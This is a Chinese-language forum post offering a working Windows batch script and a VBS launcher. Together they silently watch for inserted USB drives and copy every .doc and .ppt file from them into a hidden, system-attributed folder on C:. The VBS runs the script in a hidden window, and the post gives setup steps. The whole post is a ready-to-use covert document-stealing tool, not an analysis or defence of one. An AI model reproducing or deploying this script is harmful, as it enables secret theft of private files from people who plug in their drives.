本帖最后由 citear 于 2014-5-13 14:50 编辑
- @echo off
- md c:\copy\文件
- attrib +s +h c:\copy
- attrib +s +h c:\copy\文件
- ::ping 127.0.0.1 -n 60 >nul
- :zhu
- for %%a in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%a: >>"c:\u.log"
- findstr /i "可移动" "c:\u.log"
- if errorlevel==1 goto end
- if errorlevel==0 goto open
- :end
- del /f /s /q "c:\u.log"
- cls
- goto :zhu
- :open
- cls
- for /f "tokens=1" %%a in ('findstr /i "可移动" "c:\u.log"') do @(
- if exist %%a (
- %%a
- cd \
- xcopy /d *.doc "c:\copy\文件"
- xcopy /d *.ppt "c:\copy\文件"
- for /f "delims=" %%i in ('dir /s /ad /b \') do xcopy /d "%%i\*.doc" "c:\copy\文件"
- cls
- for /f "delims=" %%i in ('dir /s /ad /b \') do xcopy /d "%%i\*.ppt" "c:\copy\文件"
- cls
- )
- )
- del /f /s /q "c:\u.log"
- cls
- ping 127.0.0.1 -n 60 >nul
- goto :zhu
复制代码 这个保存为a.bat- set ws=WScript.CreateObject("WScript.Shell")
- ws.Run "A.bat",0
复制代码 这个随便是什么名字,后缀是.vbs
但是bat文件的名字要与ws.Run "A.bat",0中的a.bat名字一样
这是拷贝过来的文件的位置 c:\copy\文件 |